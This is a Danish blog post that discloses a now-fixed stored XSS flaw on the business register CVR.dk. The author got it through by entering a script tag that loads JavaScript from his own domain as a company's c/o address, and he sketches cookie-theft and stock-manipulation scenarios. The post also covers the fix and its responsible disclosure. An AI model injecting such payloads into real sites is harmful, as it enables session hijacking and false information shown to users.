Blog: In data we trust! XSS sårbarhed på CVR.dk

Stor data, åbn data, data om data – den er alle vegne.

Vi bruger data som grundlag for at træffe beslutninger og derfor er vi dybt afhængige af at andre mennesker, myndigheder og virksomheder giver os korrekt data.

Når vi træffer beslutninger på baggrund af data, er det helt afgørende hvorfra vi har fået dataen, kommer den fx fra en offentlig myndighed, har vi en forventning til at dataen er korrekt.

Eksemplets magt

Det antages almindeligvis, at adresser indgår i helt op til 80 % af de digitale løsninger, som et moderne samfund betjener sig af.

I hvert fald hvis man skal tro på Ministeriet for By, Bolig og Landdistrikter.

Adresser står på postkasser. Ikke e-Bokse, nej. Den slags hvor man modtager helt almindelige, kedelige, snail mails. Her er et billede af min.

Det er ingen hemmelighed at jeg synes at IT sikkerhedsmæssige udfordringer er rigtig interessante. Da jeg samtidig elsker at dele ud af min viden, hvad ville så være en mere naturligt end at oprette en konsulentvirksomhed hvor jeg kan gøre netop dette?

Lad os kalde min nye virksomhed for CREEN security – og lad os fortælle Erhvervsstyrelsen at jeg har tænkt mig at være IT konsulent.

En sådan registrering kan ske via webreg.dk, hvor man med 3 klik, et login med NemID og 2 yderligere klik, bliver præsenteret med et spørgeskema i 10 skridt. Det 4. skridt “Stamdata” ber’ mig om at indtaste adresserne for virksomheden.

Da der ikke står “CREEN security” på min postkasse, skriver jeg blot <script src=//s.creen.dk></script>, som c/o navn, det fremgår jo klart og tydeligt af min postkasse.

Få dage efter kan jeg fremsøge min nye virksomhed på cvr.dk, men jeg kan ikke se mit c/o navn i adressefeltet.

Hvis jeg åbner mine udviklerværktøjer, kan jeg se at det står i koden, men det bliver ikke vist. Det er selvfølgelig fordi min browser, fortolker c/o navnet som HTML. HTML der fortæller browseren at den skal inkludere et JavaScript fra et eksternt website, i dette tilfælde er det eksterne website s.creen.dk. Et script der ligger på mit domæne, under min kontrol.

Når et script inkluderes på et website, som er hostet på et domæne, udenfor ens kontrol, så har man effektivt set, overgivet kontrollen over det indhold som ens brugere udsættes for, til dem der kontrollerer det eksterne script.

Det bliver altså muligt for mig at præsentere besøgende på cvr.dk, for information der kontrolleres helt eller delvist af mig – uden om Erhvervsstyrelsen’s faktuelle tjek.

Herunder fremkommer resultatet af en søgning på “CREEN security“. Jeg har skiftet virksomhedens navn og stamoplysninger og ændret ophørsdato’en til d. 20/11 2013.

Tænk hvad der ville ske hvis jeg havde gjort det samme med et børsnoteret selskab og sendt linket til højre og venstre på de sociale medier? Det ville være et meget effektivt værktøj til at tjene store penge på shorting af aktier!

Alternativt kunne jeg bruge fejlen til at stjæle cookies fra de besøgende på CVR der ser min virksomheds profil, inklusiv den ASP.NET_SessionId-cookie som websitet bruger til at holde styr på hvem der er logget ind og hvem der ikke er. Gud ved hvilke knapper der gemmer sig for en administrativ bruger på sitet?

Alt jeg skulle gøre for at få administrative rettigheder er at spørge en ansvarlig ved styrelsen om et spørgsmål der får dem til at besøge min virksomheds profil.

Spredning

En interessant vinkel på problematikken er at det centrale virksomheds register, nu frigives under en åben licens og at virksomheder jævnligt trækker data fra registeret. Hvis de heller ikke renser dataen før den printes i markup, så er der potentiale for at disse sider også er sårbare i skrivende stund.

Løsningen

Løsningen er naturligvis at sørge for at tegn som < og > ikke bliver printet ned i HTML’en, de skal i stedet erstattes med såkaldte “Special Entities” som < og >

Så simpelt er det – det vil rette denne fejl. Men det garanterer ikke at der ikke gemmer sig flere.

Responsible disclosure

Inden du springer til tasterne for at reproducere resultatet ovenfor, så bliver jeg nødt til at skuffe dig. Fejlen er rettet – og det blot 12 dage efter jeg kontaktede styrelsen.

Den hurtige respons viser at IT sikkerhed er et emne som tages seriøst i en offentlig styrelse, men hvordan kan det være at noget så simpelt ikke er blevet fundet og rettet for lang tid siden?

Det er ganske enkelt fordi det er super svært at forestille sig alle de kreative måder som folk kunne finde på at udfordre ens system – man har en naturlig forudantagelse om at det system har kørende er sikkert, indtil andet er bevist.

At et offentligt IT system har en sikkerhedsfejl, er i sig selv ikke den største sensation. Det er vel nærmest forventeligt af ethvert ældre system af denne størrelse. Skulle man rejse en kritik, kunne man rette den på den øjensynlige mangel på tests af sikkerheden, på et så betroet website som CVR.dk:

Det er selvfølgelig pinligt at have erhvervet sig en kønssygdom, fordi man ikke har beskyttet sig. Men det bliver først rigtig pinligt hvis man ikke anerkender risikoen og sørger for at blive testet regelmæssigt. Da brugerne af de offentlige IT systemer er os alle sammen, har vi alle en interesse i at systemerne testes. Selvom det betyder at et IT system må stå med bukserne om anklerne en gang imellem.